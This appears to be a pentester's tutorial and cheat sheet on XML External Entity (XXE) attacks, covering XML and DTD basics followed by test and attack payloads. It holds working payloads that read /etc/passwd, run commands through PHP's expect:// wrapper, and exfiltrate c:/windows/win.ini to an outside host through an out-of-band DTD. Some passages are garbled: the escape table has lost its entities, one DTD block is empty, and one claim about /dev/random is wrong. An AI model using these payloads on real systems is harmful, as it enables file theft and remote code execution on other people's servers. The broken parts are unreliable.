XML External Entity Attack

With this attack you can do:

- Read local files
- Denial-of-service
- Perform port-scan
- Remote Code Execution (on ASPX and PHP sometimes)

Where do you find it:

- Anywhere where XML is posted.
- Common with file-uploading functionality. For files that uses XML, like: docx, pptx, gpx, pdf and xml itself.

Background XML

XML is a markup language, like HTML. Unlike HTML is does not have any predefined tags. It is the user that create the tags in the XML object. XML is just a format for storing and transporing data. XML uses tags and subtags, just like html. Or parents, children, and syblings. So in that sense it has the same tree-structure as html.

To define a XML-section/document you need the following tag to begin: Oh, and by the way TAG is named ELEMENT (same as in html)

```
 <?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" ?>
<?xml version="1.0" encoding="ISO-8859-1"?>
```

Example of valid XML:

```
<?xml version="1.0"?>
    <change-log>
        <text>Hello World</text>
    </change-log>
```

DTD stand for Document type definition. A DTD is basically a file that defines the structure of an XML document.

For example, this is quite common to see baick in the days: This simply means that the XML document will follow the standard defined in the references DTD. This DTD simply defines an old form of HTML.

```
<!DOCTYPE html PUBLIC
  "-//W3C//DTD XHTML Basic 1.0//EN"
    "http://www.w3.org/TR/xhtml-basic/xhtml-basic10.dtd">
```

DTD:s can be really useful in order to create a standard when transferring data. The sender and the reciever knows exactly what tags the document will have. So imagine that you create a service that anyone can use to send in data in the format of XML, but how will they know what elements are required, and so on.

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

Syntax rule

So, now that we know that DTD are just definitions of XML documents, the question becomes, how do we write our own DTD:s.

A DTD must adhere to a few rules.

- Must have root element (it doesn't have to be called root, it can be called anything)
- Optional have XML prolog (xml version is the prolog)

```
<?xml version="1.0" encoding="UTF-8"?>
```

- All elements must have closing tag
- Tags are case-sensitive
- XML Attributes must be quotes
- Special characters must be escaped correctly.

<	<	less than
>	>	greater than
&	&	ampersand
'	'	apostrophe
"	"	quotation mark

- Whitespace is perserved in XML

Okay, so those are some of the rules. Now let's look at some practical examples, how do we create/define an element in in a DTD?

```
 <!ELEMENT element-name category>
or
<!ELEMENT element-name (element-content)>
```

In attacks you will probably see things like this:

```
<!ENTITY name value>
<!ENTITY % name value>
```

The first one create a general entity. The second one (with the percentage sign) creates a "parameter" entity. I think the first one is dereferences like this

```
&name;
```

ANd the second one like this:

```
%name;
```

So, now lets combine all this and create a DTD. If the DTD is defined inside an already existing XML document we need the following. THis says: "here comes a DTD".

```
 <!DOCTYPE note []>
```

Now let's add some elements:

```
<!DOCTYPE note [
 <!ELEMENT note (name, age)>     //This means that the note element must contain a name and age element. The parenthesis just means
<!ELEMENT name (#PCDATA)>       // Here we define the name of the element <name></name> and that it will be PCDATA
<!ELEMENT age (#PCDATA)>
]>

<note>
<name>Pelle</name>
<age>20</age>
</note>
```

Okay. But maybe we don't want to define the entire XML document, inside every request, inside every XML document. It seems a bit like a hassle. So maybe we can just import the DTD? YES, this is possible.

The most basic way this can be done is the following way. SYSTEM is just a keyword for "load external DTD".

```
<!DOCTYPE root SYSTEM "myDTD.dtd">
<!DOCTYPE root SYSTEM "http://yourdomain.net/myDTD.dtd">
```

Which protocols are allowed depends on the implementation of the XML parser. But some that might work are the following:

```
gopher://
file://
http://
https://
file://
ftp://
```

Okay. So now we know how we can retreieve an external DTD. But what about ENTITY, it is even int eh name of the attack XML EXTERNAL ENTITY.

So, when you define your DTD you can basically create variables, in xml-speak a variable is an ENTITY.

In a DTD an entitiy is defined like this:

```
<!DOCTYPE root [
<!ENTITY name "PELLE">
]>
<root>&name;</root>
```

When the XML is parsed the entity will be transformed into "PELLE". Of course, you can also retreive external entities.

```
<!DOCTYPE root [
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<root>&name;</root>
```

```
<!DOCTYPE root [
<

]>
```

Attack

So if an application receives XML to the server the attacker might be able to exploit an XXE. It could be sent as a GET, but it is more likely that it is send in a POST. An attack might look like this:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

The elemet can be whatever, it doesn't matter. The xxe is the "variable" where the content of /dev/random get stored. And by dereferencing it in the foo-tag the content gets outputted.This way an attacker might be able to read files from the local system, like boot.ini or passwd. SYSTEM means that what is to be included can be found locally on the filesystem.

In php-applications where the expect module is loaded it is possible to get RCE. It is not a very common vulnerability, but still good to know.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
```

Even if the data is not reflected backto the website it is still possible to exfiltrate files and data from the server. The technique is similar to how you exfiltrate the cookie in a Cross-Site Scripting attack, you send it in the url.

Test for it

- Input is reflected

```
<?xml version="1.0"?><!DOCTYPE Any [<!ENTITY xxe "testdata">]><add>&xxe;</add>
```

If "testdata" gets reflected then it is vulnerable to XXE. If it gets reflected you can try to exfiltrate the data the following way:

```
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

Another way to test it is to see if the server tries to download the external script. Firs t you need to set up your own webserver, and then wait for it to connect.

```
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://192.168.1.101/fil.txt">]><test>&xxe;</test>
```

XXE with JSON

Even if you are sending in JSON, always make sure to convert the JSON to valid XML. And then change the content-type to xml.

For more see:

https://blog.netspi.com/playing-content-type-xxe-json-endpoints/

XXE in Excel Xlsx files

Excel files are just zipped xml files. So you can simply unzip

Payloads

OOB Simple

```
<!DOCTYPE root SYSTEM "http://yourdomain.net/myDTD.dtd">
```

OOB BizTalk

This payload will make a request to hackburk.haxxon.se/quel/dtd.xml:

```
 <?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://hackburk.haxxson.se/quel/dtd.xml">
%sp;
%param1;
%exfil;
]>
```

dtd.xml contains the following:

```
 <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://hackburk.haxxson.se/?%data;'>">
```

The vulnerable server will thus retreive the dtd.xml, then parse it, and then make a request to haxxon.se and include the file in the data parameter. It will be encoded aswell so it will make a correct request.

Examples

- XXE from uploading Powerpoint - https://hackerone.com/reports/334488
- XXE in SOAP request - https://hackerone.com/reports/36450
- XXE in SVG file upload - https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/
- XXE in PNG/PDF upload

Exfiltrate data through URL

https://blog.bugcrowd.com/advice-from-a-researcher-xxe/

References

https://securitytraning.com/xml-external-entity-xxe-xml-injection-web-for-pentester/

https://blog.bugcrowd.com/advice-from-a-researcher-xxe/

http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html